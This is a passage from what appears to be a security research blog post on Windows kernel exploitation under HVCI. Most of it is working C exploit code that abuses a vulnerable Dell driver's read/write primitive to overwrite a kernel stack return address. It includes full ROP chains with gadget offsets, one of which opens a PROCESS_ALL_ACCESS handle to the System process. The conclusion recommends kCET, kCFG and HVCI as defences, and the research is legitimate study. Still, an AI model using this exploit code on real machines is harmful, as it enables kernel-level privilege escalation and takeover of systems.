<p>Putting all of this together, we can extend the contents of our <code class="language-plaintext highlighter-rouge">constructROPChain()</code> function to search our dummy thread’s stack for the target return address of <code class="language-plaintext highlighter-rouge">nt!KiApcInterrupt + 0x328</code>. <code class="language-plaintext highlighter-rouge">nt!KiApcInterrupt + 0x328</code> is located at an offset of <code class="language-plaintext highlighter-rouge">0x41b718</code> on the version of Windows 11 I am testing this exploit on.</p>

<p><img src="/images/HVCI35.png" alt="" /></p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cm">/**
 * @brief Function used write a ROP chain to the kernel-mode stack
 *
 * This function takes the previously-leaked KTHREAD object of
 * our "dummy thread", extracts the StackBase member of the object
 * and writes the ROP chain to the kernel-mode stack leveraging the
 * write64() function.
 *
 * @param inHandle - A valid handle to the dbutil_2_3.sys.
 * @param dummyThread - A valid handle to our "dummy thread" in order to resume it.
 * @param KTHREAD - The KTHREAD object associated with the "dummy" thread.
 * @param ntBase - The base address of ntoskrnl.exe.
 * @return Result of the operation in the form of a boolean.
 */</span>
<span class="n">BOOL</span> <span class="nf">constructROPChain</span><span class="p">(</span><span class="n">HANDLE</span> <span class="n">inHandle</span><span class="p">,</span> <span class="n">HANDLE</span> <span class="n">dummyThread</span><span class="p">,</span> <span class="n">ULONG64</span> <span class="n">KTHREAD</span><span class="p">,</span> <span class="n">ULONG64</span> <span class="n">ntBase</span><span class="p">)</span>
<span class="p">{</span>
	<span class="c1">//</span>
	<span class="c1">// KTHREAD.StackBase = KTHREAD + 0x38</span>
	<span class="c1">//</span>
	<span class="n">ULONG64</span> <span class="n">kthreadstackBase</span> <span class="o">=</span> <span class="n">KTHREAD</span> <span class="o">+</span> <span class="mh">0x38</span><span class="p">;</span>

	<span class="c1">//</span>
	<span class="c1">// Dereference KTHREAD.StackBase to leak the stack</span>
	<span class="c1">//</span>
	<span class="n">ULONG64</span> <span class="n">stackBase</span> <span class="o">=</span> <span class="n">read64</span><span class="p">(</span><span class="n">inHandle</span><span class="p">,</span> <span class="n">kthreadstackBase</span><span class="p">);</span>

	<span class="c1">//</span>
	<span class="c1">// Error handling</span>
	<span class="c1">//</span>
	<span class="k">if</span> <span class="p">(</span><span class="n">stackBase</span> <span class="o">==</span> <span class="p">(</span><span class="n">ULONG64</span><span class="p">)</span><span class="mi">1</span><span class="p">)</span>
	<span class="p">{</span>
		<span class="c1">//</span>
		<span class="c1">// Bail out</span>
		<span class="c1">//</span>
		<span class="k">goto</span> <span class="n">exit</span><span class="p">;</span>
	<span class="p">}</span>

	<span class="c1">//</span>
	<span class="c1">// Print update</span>
	<span class="c1">//</span>
	<span class="n">printf</span><span class="p">(</span><span class="s">"[+] Leaked kernel-mode stack: 0x%llx</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">stackBase</span><span class="p">);</span>

	<span class="c1">//</span>
	<span class="c1">// Variable to store our target return address for nt!KiApcInterrupt</span>
	<span class="c1">//</span>
	<span class="n">ULONG64</span> <span class="n">retAddr</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>

	<span class="c1">//</span>
	<span class="c1">// Leverage the arbitrary write primitive to read the entire contents of the stack (seven pages = 0x7000)</span>
	<span class="c1">// 0x7000 isn't actually commited, so we start with 0x7000-0x8, since the stack grows towards the lower</span>
	<span class="c1">// addresses.</span>
	<span class="c1">//</span>
	<span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mh">0x8</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="mh">0x7000</span> <span class="o">-</span> <span class="mh">0x8</span><span class="p">;</span> <span class="n">i</span> <span class="o">+=</span> <span class="mh">0x8</span><span class="p">)</span>
	<span class="p">{</span>
		<span class="c1">//</span>
		<span class="c1">// Invoke read64() to dereference the stack</span>
		<span class="c1">//</span>
		<span class="n">ULONG64</span> <span class="n">value</span> <span class="o">=</span> <span class="n">read64</span><span class="p">(</span><span class="n">inHandle</span><span class="p">,</span> <span class="n">stackBase</span> <span class="o">-</span> <span class="n">i</span><span class="p">);</span>

		<span class="c1">//</span>
		<span class="c1">// Kernel-mode address?</span>
		<span class="c1">//</span>
		<span class="k">if</span> <span class="p">((</span><span class="n">value</span> <span class="o">&amp;</span> <span class="mh">0xfffff00000000000</span><span class="p">)</span> <span class="o">==</span> <span class="mh">0xfffff00000000000</span><span class="p">)</span>
		<span class="p">{</span>
			<span class="c1">//</span>
			<span class="c1">// nt!KiApcInterrupt+0x328?</span>
			<span class="c1">//</span>
			<span class="k">if</span> <span class="p">(</span><span class="n">value</span> <span class="o">==</span> <span class="n">ntBase</span> <span class="o">+</span> <span class="mh">0x41b718</span><span class="p">)</span>
			<span class="p">{</span>
				<span class="c1">//</span>
				<span class="c1">// Print update</span>
				<span class="c1">//</span>
				<span class="n">printf</span><span class="p">(</span><span class="s">"[+] Leaked target return address of nt!KiApcInterrupt!</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>

				<span class="c1">//</span>
				<span class="c1">// Store the current value of stackBase - i, which is nt!KiApcInterrupt+0x328</span>
				<span class="c1">//</span>
				<span class="n">retAddr</span> <span class="o">=</span> <span class="n">stackBase</span> <span class="o">-</span> <span class="n">i</span><span class="p">;</span>

				<span class="c1">//</span>
				<span class="c1">// Break the loop if we find our address</span>
				<span class="c1">//</span>
				<span class="k">break</span><span class="p">;</span>
			<span class="p">}</span>
		<span class="p">}</span>

		<span class="c1">//</span>
		<span class="c1">// Reset the value</span>
		<span class="c1">//</span>
		<span class="n">value</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
	<span class="p">}</span>

	<span class="c1">//</span>
	<span class="c1">// Print update</span>
	<span class="c1">//</span>
	<span class="n">printf</span><span class="p">(</span><span class="s">"[+] Stack address: 0x%llx contains nt!KiApcInterrupt+0x328!</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">retAddr</span><span class="p">);</span>

<span class="c1">//</span>
<span class="c1">// Execution comes here if an error is encountered</span>
<span class="c1">//</span>
<span class="nl">exit:</span>

	<span class="c1">//</span>
	<span class="c1">// Return the NTSTATUS error</span>
	<span class="c1">//</span>
	<span class="k">return</span> <span class="p">(</span><span class="n">ULONG64</span><span class="p">)</span><span class="mi">1</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p>Again, we use <code class="language-plaintext highlighter-rouge">getchar()</code> to pause execution so we can inspect the thread before the process terminates. After executing the above exploit, we can see the ability to locate where <code class="language-plaintext highlighter-rouge">nt!KiApcInterrupt + 0x328</code> exists on the stack.</p>

<p><img src="/images/HVCI36.png" alt="" /></p>

<p><img src="/images/HVCI37.png" alt="" /></p>

<p>We have now successfully located our target return address! Using our arbitrary write primitive, let’s overwrite the return address with <code class="language-plaintext highlighter-rouge">0x4141414141414141</code> - which should cause a system crash when our thread is resumed.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">//</span>
<span class="c1">// Print update</span>
<span class="c1">//</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"[+] Stack address: 0x%llx contains nt!KiApcInterrupt+0x328!</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">retAddr</span><span class="p">);</span>

<span class="c1">//</span>
<span class="c1">// Our ROP chain will start here</span>
<span class="c1">//</span>
<span class="n">write64</span><span class="p">(</span><span class="n">inHandle</span><span class="p">,</span> <span class="n">retAddr</span><span class="p">,</span> <span class="mh">0x4141414141414141</span><span class="p">);</span>

<span class="c1">//</span>
<span class="c1">// Resume the thread to kick off execution</span>
<span class="c1">//</span>
<span class="n">ResumeThread</span><span class="p">(</span><span class="n">dummyThread</span><span class="p">);</span>
</code></pre></div></div>

<p><img src="/images/HVCI38.png" alt="" /></p>

<p>As we can see - our system has crashes and we control RIP! The system is attempting to return into the address <code class="language-plaintext highlighter-rouge">0x4141414141414141</code> - meaning we now control execution at the kernel level and we can now redirect execution into our ROP chain.</p>

<p>We also know the base address of <code class="language-plaintext highlighter-rouge">ntoskrnl.exe</code>, meaning we can resolve our needed ROP gadgets to arbitrarily invoke a kernel-mode API. Remember - just like DEP - ROP doesn’t actually execute unsigned code. We “resuse” existing signed code - which stays within the bounds of HVCI. Although it is a bit more arduous, we can still invoke arbitrary APIs - just like shellcode.</p>

<p>So let’s put together a proof-of-concept to arbitrarily call <code class="language-plaintext highlighter-rouge">PsGetCurrentProcess</code> - which should return a pointer to the <code class="language-plaintext highlighter-rouge">EPROCESS</code> structure associated with process housing the thread our ROP chain is executing in (our “dummy thread”). We also (for the purposes of showing it is possible) will save the result in a user-mode address so (theoretically) we could act on this object later.</p>

<p>Here is how our ROP chain will look.</p>

<p><img src="/images/HVCI41.png" alt="" /></p>

<p>This ROP chain places <code class="language-plaintext highlighter-rouge">nt!PsGetCurrentProcess</code> into the RAX register and then performs a <code class="language-plaintext highlighter-rouge">jmp rax</code> to invoke the function. This function doesn’t accept any parameters, and it returns a pointer to the current processes’ <code class="language-plaintext highlighter-rouge">EPROCESS</code> object. The calculation of this function’s address can be identified by calculating the offset from <code class="language-plaintext highlighter-rouge">ntoskrnl.exe</code>.</p>

<p><img src="/images/HVCI40.png" alt="" /></p>

<p>We can begin to debug the ROP chain by setting a breakpoint on the first <code class="language-plaintext highlighter-rouge">pop rax</code> gadget - which overwrites <code class="language-plaintext highlighter-rouge">nt!KiApcInterrupt + 0x328</code>.</p>

<p><img src="/images/HVCI42.png" alt="" /></p>

<p>After the <code class="language-plaintext highlighter-rouge">pop rax</code> occurs - <code class="language-plaintext highlighter-rouge">nt!PsGetCurrentProcess</code> is placed into RAX. The <code class="language-plaintext highlighter-rouge">jmp rax</code> gadget is dispatched - which invokes our call to <code class="language-plaintext highlighter-rouge">nt!PsGetCurrentProcess</code> (which is an extremely short function that only needs to index the <code class="language-plaintext highlighter-rouge">KPRCB</code> structure).</p>

<p><img src="/images/HVCI43.png" alt="" /></p>

<p><img src="/images/HVCI44.png" alt="" /></p>

<p>After completing the call to <code class="language-plaintext highlighter-rouge">nt!PsGetCurrentProcess</code> - we can see a user-mode address on the stack, which is placed into RCX and is used with a <code class="language-plaintext highlighter-rouge">mov qword ptr [rcx], rax</code> gadget.</p>

<p><img src="/images/HVCI45.png" alt="" /></p>

<p>This is a user-mode address supplied by us. Since <code class="language-plaintext highlighter-rouge">nt!PsGetCurrentProcess</code> returns a pointer to the current process (in the form of an <code class="language-plaintext highlighter-rouge">EPROCESS</code> object) - an attacker may want to preserve this value in user-mode in order to re-use the arbitrary write primitive and/or read primitive to further corrupt this object.</p>

<p>You may be thinking - what about Supervisor Mode <em>Access</em> Prevention (SMAP)? SMAP works similarly to SMEP - except SMAP doesn’t focus on code execution. SMAP prevents <em>any</em> kind of data access from ring 0 into ring 3 (such as copying a kernel-mode address into a user-mode address, or performing data access on a ring 3 page from ring 0). However, Windows only employs SMAP in certain situations - most notably when the processor servicing the data-operation is at an IRQL 2 and above. Since kernel-mode code runs at an IRQL of 0, this means SMAP isn’t “in play” - and therefore we are free to perform our data operation (saving the <code class="language-plaintext highlighter-rouge">EPROCESS</code> object into user-mode).</p>

<p><img src="/images/HVCI46.png" alt="" /></p>

<p>We have now completed the “malicious” call and we have successfully invoked an arbitrary API of our choosing - without needing to detonate any unsigned-code. This means we have stepped around HVCI by staying compliant with it (e.g. we didn’t <em>turn</em> HVCI off - we just stayed within the guidelines of HVCI). kCFG was bypassed in this instance (we took control of RIP) by overwriting a return address, similarly to my last blog series on browser exploitation. Intel CET in the Windows kernel would have prevent this from happening.</p>

<p>Since we are using ROP, we need to restore our execution now. This is due to the fact we have completely altered the state of the CPU registers and we have corrupted the stack. Since we have only corrupted the “dummy thread” - we simply can invoke <code class="language-plaintext highlighter-rouge">nt!ZwTerminateThread</code>, while passing in the handle of the dummy thread, to tell the Windows OS to do this for us! Remember - the “dummy thread” is only being used for the arbitrary API call. There are still other threads (the main thread) which actually executes code within <code class="language-plaintext highlighter-rouge">Project2.exe</code>. Instead of manually trying to restore the state of the “dummy thread” - and avoid a system crash - we simply can just ask Windows to terminate the thread for us. This will “gracefully” exit the thread, without us needing to manually restore everything ourselves.</p>

<p><code class="language-plaintext highlighter-rouge">nt!ZwTerminateThread</code> accepts two parameters. It is an undocumented function, but it actually receives the same parameters as prototyped by its user-mode “cousin”, <code class="language-plaintext highlighter-rouge">TerminateThread</code>.</p>

<p><img src="/images/HVCI48.png" alt="" /></p>

<p>All we need to pass to <code class="language-plaintext highlighter-rouge">nt!ZwTerminateThread</code> is a handle to the “dummy thread” (the thread we want to terminate) and an NTSTATUS code (we will just use <code class="language-plaintext highlighter-rouge">STATUS_SUCCESS</code>, which is a value of <code class="language-plaintext highlighter-rouge">0x00000000</code>). So, as we know, our first parameter needs to go into the RCX register (the handle to the “dummy thread”).</p>

<p><img src="/images/HVCI47.png" alt="" /></p>

<p>As we can see above, our handle to the dummy thread will be placed into the RCX register. After this is placed into the RCX register, our exit code for our thread (<code class="language-plaintext highlighter-rouge">STATUS_SUCCESS</code>, or <code class="language-plaintext highlighter-rouge">0x00000000</code>) is placed into RDX.</p>

<p><img src="/images/HVCI49.png" alt="" /></p>

<p>Now we have our parameters setup for <code class="language-plaintext highlighter-rouge">nt!ZwTerminateThread</code>. All that there is left now is to place <code class="language-plaintext highlighter-rouge">nt!ZwTerminateThread</code> into RAX and to jump to it.</p>

<p><img src="/images/HVCI50.png" alt="" /></p>

<p>You’ll notice, however, that instead of hitting the <code class="language-plaintext highlighter-rouge">jmp rax</code> gadget - we hit <em>another</em> <code class="language-plaintext highlighter-rouge">ret</code> after the <code class="language-plaintext highlighter-rouge">ret</code> issued from the <code class="language-plaintext highlighter-rouge">pop rax ; ret</code> gadget. Why is this? Take a closer look at the stack.</p>

<p><img src="/images/HVCI51.png" alt="" /></p>

<p>When the <code class="language-plaintext highlighter-rouge">jmp rax</code> instruction is dispatched (<code class="language-plaintext highlighter-rouge">nt!_guard_retpoline_indeirect_rax+0x5e</code>) - the stack is in a 16-byte alignment (a 16-byte alignment means that the last two digits of the virtual address, e.g. <code class="language-plaintext highlighter-rouge">0xffffc789dd19d160</code>, which would be <code class="language-plaintext highlighter-rouge">60</code>, end with a 0). Windows API calls sometimes use the XMM registers, under the hood, which allow memory operations to be facilitated in 16-byte intervals. This is why when Windows API calls are made, they <em>must</em> (usually) be made in 16-byte alignments! We use the “extra” <code class="language-plaintext highlighter-rouge">ret</code> gadget to make sure that when <code class="language-plaintext highlighter-rouge">jmp nt!ZwTerminateThread</code> dispatches, that the stack is properly aligned.</p>

<p>From here we can execute <code class="language-plaintext highlighter-rouge">nt!ZwTerminateThread</code>.</p>

<p><img src="/images/HVCI52.png" alt="" /></p>

<p><img src="/images/HVCI53.png" alt="" /></p>

<p>From here we can press <code class="language-plaintext highlighter-rouge">g</code> in the debugger - as the Windows OS will gracefully exit us from the thread!</p>

<p><img src="/images/HVCI54.png" alt="" /></p>

<p>As we can see, we have our <code class="language-plaintext highlighter-rouge">EPROCESS</code> object in the user-mode <code class="language-plaintext highlighter-rouge">cmd.exe</code> console! We can cross-reference this address in WinDbg to confirm.</p>

<p><img src="/images/HVCI55.png" alt="" /></p>

<p>Parsing this address as an <code class="language-plaintext highlighter-rouge">EPROCESS</code> object, we can confirm via the <code class="language-plaintext highlighter-rouge">ImageFileName</code> that this is the <code class="language-plaintext highlighter-rouge">EPROCESS</code> object associated with our current process! We have successfully executed a kernel-mode function call, from user-mode (via our vulnerability), while not triggering kCFG or HVCI!</p>

<h2 id="bonus-rop-chain">Bonus ROP Chain</h2>
<p>Our previous <code class="language-plaintext highlighter-rouge">nt!PsGetCurrentProcess</code> function call outlined how it is possible to call kernel-mode functions via an arbitrary read/write primitive, from user-mode, without triggering kCFG and HVCI. Although we won’t step through each gadget, here is a “bonus” ROP chain that you could use, for instance, to open up a <code class="language-plaintext highlighter-rouge">PROCESS_ALL_ACCESS</code> handle to the System process with HVCI and kCFG enabled (don’t forget to declare <code class="language-plaintext highlighter-rouge">CLIENT_ID</code> and <code class="language-plaintext highlighter-rouge">OBJECT_ATTRIBUTE</code> structures!).</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code>	<span class="c1">//</span>
	<span class="c1">// Print update</span>
	<span class="c1">//</span>
	<span class="n">printf</span><span class="p">(</span><span class="s">"[+] Stack address: 0x%llx contains nt!KiApcInterrupt+0x328!</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">retAddr</span><span class="p">);</span>

	<span class="c1">//</span>
	<span class="c1">// Handle to the System process</span>
	<span class="c1">//</span>
	<span class="n">HANDLE</span> <span class="n">systemprocHandle</span> <span class="o">=</span> <span class="nb">NULL</span><span class="p">;</span>

	<span class="c1">//</span>
	<span class="c1">// CLIENT_ID</span>
	<span class="c1">//</span>
	<span class="n">CLIENT_ID</span> <span class="n">clientId</span> <span class="o">=</span> <span class="p">{</span> <span class="mi">0</span> <span class="p">};</span>
	<span class="n">clientId</span><span class="p">.</span><span class="n">UniqueProcess</span> <span class="o">=</span> <span class="n">ULongToHandle</span><span class="p">(</span><span class="mi">4</span><span class="p">);</span>
	<span class="n">clientId</span><span class="p">.</span><span class="n">UniqueThread</span> <span class="o">=</span> <span class="nb">NULL</span><span class="p">;</span>

	<span class="c1">//</span>
	<span class="c1">// Declare OBJECT_ATTRIBUTES</span>
	<span class="c1">//</span>
	<span class="n">OBJECT_ATTRIBUTES</span> <span class="n">objAttrs</span> <span class="o">=</span> <span class="p">{</span> <span class="mi">0</span> <span class="p">};</span>

	<span class="c1">//</span>
	<span class="c1">// memset the buffer to 0</span>
	<span class="c1">//</span>
	<span class="n">memset</span><span class="p">(</span><span class="o">&amp;</span><span class="n">objAttrs</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">objAttrs</span><span class="p">));</span>

	<span class="c1">//</span>
	<span class="c1">// Set members</span>
	<span class="c1">//</span>
	<span class="n">objAttrs</span><span class="p">.</span><span class="n">ObjectName</span> <span class="o">=</span> <span class="nb">NULL</span><span class="p">;</span>
	<span class="n">objAttrs</span><span class="p">.</span><span class="n">Length</span> <span class="o">=</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">objAttrs</span><span class="p">);</span>
	
	<span class="c1">//</span>
	<span class="c1">// Begin ROP chain</span>
	<span class="c1">//</span>
	<span class="n">write64</span><span class="p">(</span><span class="n">inHandle</span><span class="p">,</span> <span class="n">retAddr</span><span class="p">,</span> <span class="n">ntBase</span> <span class="o">+</span> <span class="mh">0xa50296</span><span class="p">);</span>				<span class="c1">// 0x140a50296: pop rcx ; ret ; \x40\x59\xc3 (1 found)</span>
	<span class="n">write64</span><span class="p">(</span><span class="n">inHandle</span><span class="p">,</span> <span class="n">retAddr</span> <span class="o">+</span> <span class="mh">0x8</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">systemprocHandle</span><span class="p">);</span>		<span class="c1">// HANDLE (to receive System process handle)</span>
	<span class="n">write64</span><span class="p">(</span><span class="n">inHandle</span><span class="p">,</span> <span class="n">retAddr</span> <span class="o">+</span> <span class="mh">0x10</span><span class="p">,</span> <span class="n">ntBase</span> <span class="o">+</span> <span class="mh">0x99493a</span><span class="p">);</span>		<span class="c1">// 0x14099493a: pop rdx ; ret ; \x5a\x46\xc3 (1 found)</span>
	<span class="n">write64</span><span class="p">(</span><span class="n">inHandle</span><span class="p">,</span> <span class="n">retAddr</span> <span class="o">+</span> <span class="mh">0x18</span><span class="p">,</span> <span class="n">PROCESS_ALL_ACCESS</span><span class="p">);</span>		<span class="c1">// PROCESS_ALL_ACCESS</span>
	<span class="n">write64</span><span class="p">(</span><span class="n">inHandle</span><span class="p">,</span> <span class="n">retAddr</span> <span class="o">+</span> <span class="mh">0x20</span><span class="p">,</span> <span class="n">ntBase</span> <span class="o">+</span> <span class="mh">0x2e8281</span><span class="p">);</span>		<span class="c1">// 0x1402e8281: pop r8 ; ret ; \x41\x58\xc3 (1 found)</span>
	<span class="n">write64</span><span class="p">(</span><span class="n">inHandle</span><span class="p">,</span> <span class="n">retAddr</span> <span class="o">+</span> <span class="mh">0x28</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">objAttrs</span><span class="p">);</span>				<span class="c1">// OBJECT_ATTRIBUTES</span>
	<span class="n">write64</span><span class="p">(</span><span class="n">inHandle</span><span class="p">,</span> <span class="n">retAddr</span> <span class="o">+</span> <span class="mh">0x30</span><span class="p">,</span> <span class="n">ntBase</span> <span class="o">+</span> <span class="mh">0x42a123</span><span class="p">);</span>		<span class="c1">// 0x14042a123: pop r9 ; ret ; \x41\x59\xc3 (1 found)</span>
	<span class="n">write64</span><span class="p">(</span><span class="n">inHandle</span><span class="p">,</span> <span class="n">retAddr</span> <span class="o">+</span> <span class="mh">0x38</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">clientId</span><span class="p">);</span>				<span class="c1">// CLIENT_ID</span>
	<span class="n">write64</span><span class="p">(</span><span class="n">inHandle</span><span class="p">,</span> <span class="n">retAddr</span> <span class="o">+</span> <span class="mh">0x40</span><span class="p">,</span> <span class="n">ntBase</span> <span class="o">+</span> <span class="mh">0x6360a6</span><span class="p">);</span>		<span class="c1">// 0x1406360a6: pop rax ; ret ; \x58\xc3 (1 found)</span>
	<span class="n">write64</span><span class="p">(</span><span class="n">inHandle</span><span class="p">,</span> <span class="n">retAddr</span> <span class="o">+</span> <span class="mh">0x48</span><span class="p">,</span> <span class="n">ntBase</span> <span class="o">+</span> <span class="mh">0x413210</span><span class="p">);</span>		<span class="c1">// nt!ZwOpenProcess</span>
	<span class="n">write64</span><span class="p">(</span><span class="n">inHandle</span><span class="p">,</span> <span class="n">retAddr</span> <span class="o">+</span> <span class="mh">0x50</span><span class="p">,</span> <span class="n">ntBase</span> <span class="o">+</span> <span class="mh">0xab533e</span><span class="p">);</span>		<span class="c1">// 0x140ab533e: jmp rax; \x48\xff\xe0 (1 found)</span>
	<span class="n">write64</span><span class="p">(</span><span class="n">inHandle</span><span class="p">,</span> <span class="n">retAddr</span> <span class="o">+</span> <span class="mh">0x58</span><span class="p">,</span> <span class="n">ntBase</span> <span class="o">+</span> <span class="mh">0xa50296</span><span class="p">);</span>		<span class="c1">// 0x140a50296: pop rcx ; ret ; \x40\x59\xc3 (1 found)</span>
	<span class="n">write64</span><span class="p">(</span><span class="n">inHandle</span><span class="p">,</span> <span class="n">retAddr</span> <span class="o">+</span> <span class="mh">0x60</span><span class="p">,</span> <span class="p">(</span><span class="n">ULONG64</span><span class="p">)</span><span class="n">dummyThread</span><span class="p">);</span>	<span class="c1">// HANDLE to the dummy thread</span>
	<span class="n">write64</span><span class="p">(</span><span class="n">inHandle</span><span class="p">,</span> <span class="n">retAddr</span> <span class="o">+</span> <span class="mh">0x68</span><span class="p">,</span> <span class="n">ntBase</span> <span class="o">+</span> <span class="mh">0x99493a</span><span class="p">);</span>		<span class="c1">// 0x14099493a: pop rdx ; ret ; \x5a\x46\xc3 (1 found)</span>
	<span class="n">write64</span><span class="p">(</span><span class="n">inHandle</span><span class="p">,</span> <span class="n">retAddr</span> <span class="o">+</span> <span class="mh">0x70</span><span class="p">,</span> <span class="mh">0x0000000000000000</span><span class="p">);</span>		<span class="c1">// Set exit code to STATUS_SUCCESS</span>
	<span class="n">write64</span><span class="p">(</span><span class="n">inHandle</span><span class="p">,</span> <span class="n">retAddr</span> <span class="o">+</span> <span class="mh">0x78</span><span class="p">,</span> <span class="n">ntBase</span> <span class="o">+</span> <span class="mh">0x6360a6</span><span class="p">);</span>		<span class="c1">// 0x1406360a6: pop rax ; ret ; \x58\xc3 (1 found)</span>
	<span class="n">write64</span><span class="p">(</span><span class="n">inHandle</span><span class="p">,</span> <span class="n">retAddr</span> <span class="o">+</span> <span class="mh">0x80</span><span class="p">,</span> <span class="n">ntBase</span> <span class="o">+</span> <span class="mh">0x4137b0</span><span class="p">);</span>		<span class="c1">// nt!ZwTerminateThread</span>
	<span class="n">write64</span><span class="p">(</span><span class="n">inHandle</span><span class="p">,</span> <span class="n">retAddr</span> <span class="o">+</span> <span class="mh">0x88</span><span class="p">,</span> <span class="n">ntBase</span> <span class="o">+</span> <span class="mh">0xab533e</span><span class="p">);</span>		<span class="c1">// 0x140ab533e: jmp rax; \x48\xff\xe0 (1 found)</span>
	
	<span class="c1">//</span>
	<span class="c1">// Resume the thread to kick off execution</span>
	<span class="c1">//</span>
	<span class="n">ResumeThread</span><span class="p">(</span><span class="n">dummyThread</span><span class="p">);</span>

	<span class="c1">//</span>
	<span class="c1">// Sleep Project2.exe for 1 second to allow the print update</span>
	<span class="c1">// to accurately display the System process handle</span>
	<span class="c1">//</span>
	<span class="n">Sleep</span><span class="p">(</span><span class="mi">1000</span><span class="p">);</span>

	<span class="c1">//</span>
	<span class="c1">// Print update</span>
	<span class="c1">//</span>
	<span class="n">printf</span><span class="p">(</span><span class="s">"[+] System process HANDLE: 0x%p</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">systemprocHandle</span><span class="p">);</span>
</code></pre></div></div>
<p><img src="/images/HVCI56.png" alt="" /></p>

<p>What’s nice about this technique is the fact that all parameters can be declared in user-mode using C - meaning we don’t have to manually construct our own structures, like a <code class="language-plaintext highlighter-rouge">CLIENT_ID</code> structure, in the <code class="language-plaintext highlighter-rouge">.data</code> section of a driver, for instance.</p>

<h2 id="conclusion">Conclusion</h2>
<p>I would say that HVCI is easily one of the most powerful mitigations there is. As we saw - we actually didn’t “bypass” HVCI. HVCI mitigates unsigned-code execution in the VTL 0 kernel - which is something we <em>weren’t</em> able to achieve. However, Microsoft seems to be dependent on Kernel CET - and when you combine kCET, kCFG, and HVCI - only then do you get coverage against this technique.</p>

<p>HVCI is probably not only the most complex mitigation I have looked at, not only is it probably the best, but it taught me a ton about something I didn’t know (hypervisors). HVCI, even in this situation, did its job and everyone should please go and enable it! When coupled with CET and kCFG - it will make HVCI resilient against this sort of attack (just like how MBEC makes HVCI resilient against PTE modification).</p>

<p>It is possible to enable kCET if you have a supported processor - as in many cases it isn’t enabled by default. You can do this via <code class="language-plaintext highlighter-rouge">regedit.exe</code> by adding a value called <code class="language-plaintext highlighter-rouge">Enabled</code> - which you need to set to 1 (as a DWORD) - to the <code class="language-plaintext highlighter-rouge">HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\DeviceGuard\Scenarios\KernelShadowStacks</code> key. Shoutout to my coworker <a href="https://twitter.com/yarden_shafir">Yarden Shafir</a> for showing me this! Thanks for tuning in!</p>

<p>Here is the final code (<code class="language-plaintext highlighter-rouge">nt!ZwOpenProcess</code>).</p>

<p>Definitions in <code class="language-plaintext highlighter-rouge">ntdll.h</code>:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#include</span> <span class="cpf">&lt;Windows.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;Psapi.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;time.h&gt;</span><span class="cp">
</span>
<span class="k">typedef</span> <span class="k">enum</span> <span class="n">_SYSTEM_INFORMATION_CLASS</span>
<span class="p">{</span>
    <span class="n">SystemBasicInformation</span><span class="p">,</span>
    <span class="n">SystemProcessorInformation</span><span class="p">,</span>
    <span class="n">SystemPerformanceInformation</span><span class="p">,</span>
    <span class="n">SystemTimeOfDayInformation</span><span class="p">,</span>
    <span class="n">SystemPathInformation</span><span class="p">,</span>
    <span class="n">SystemProcessInformation</span><span class="p">,</span>
    <span class="n">SystemCallCountInformation</span><span class="p">,</span>
    <span class="n">SystemDeviceInformation</span><span class="p">,</span>
    <span class="n">SystemProcessorPerformanceInformation</span><span class="p">,</span>
    <span class="n">SystemFlagsInformation</span><span class="p">,</span>
    <span class="n">SystemCallTimeInformation</span><span class="p">,</span>
    <span class="n">SystemModuleInformation</span><span class="p">,</span>
    <span class="n">SystemLocksInformation</span><span class="p">,</span>
    <span class="n">SystemStackTraceInformation</span><span class="p">,</span>
    <span class="n">SystemPagedPoolInformation</span><span class="p">,</span>
    <span class="n">SystemNonPagedPoolInformation</span><span class="p">,</span>
    <span class="n">SystemHandleInformation</span><span class="p">,</span>
    <span class="n">SystemObjectInformation</span><span class="p">,</span>
    <span class="n">SystemPageFileInformation</span><span class="p">,</span>
    <span class="n">SystemVdmInstemulInformation</span><span class="p">,</span>
    <span class="n">SystemVdmBopInformation</span><span class="p">,</span>
    <span class="n">SystemFileCacheInformation</span><span class="p">,</span>
    <span class="n">SystemPoolTagInformation</span><span class="p">,</span>
    <span class="n">SystemInterruptInformation</span><span class="p">,</span>
    <span class="n">SystemDpcBehaviorInformation</span><span class="p">,</span>
    <span class="n">SystemFullMemoryInformation</span><span class="p">,</span>
    <span class="n">SystemLoadGdiDriverInformation</span><span class="p">,</span>
    <span class="n">SystemUnloadGdiDriverInformation</span><span class="p">,</span>
    <span class="n">SystemTimeAdjustmentInformation</span><span class="p">,</span>
    <span class="n">SystemSummaryMemoryInformation</span><span class="p">,</span>
    <span class="n">SystemMirrorMemoryInformation</span><span class="p">,</span>
    <span class="n">SystemPerformanceTraceInformation</span><span class="p">,</span>
    <span class="n">SystemObsolete0</span><span class="p">,</span>
    <span class="n">SystemExceptionInformation</span><span class="p">,</span>
    <span class="n">SystemCrashDumpStateInformation</span><span class="p">,</span>
    <span class="n">SystemKernelDebuggerInformation</span><span class="p">,</span>
    <span class="n">SystemContextSwitchInformation</span><span class="p">,</span>
    <span class="n">SystemRegistryQuotaInformation</span><span class="p">,</span>
    <span class="n">SystemExtendServiceTableInformation</span><span class="p">,</span>
    <span class="n">SystemPrioritySeperation</span><span class="p">,</span>
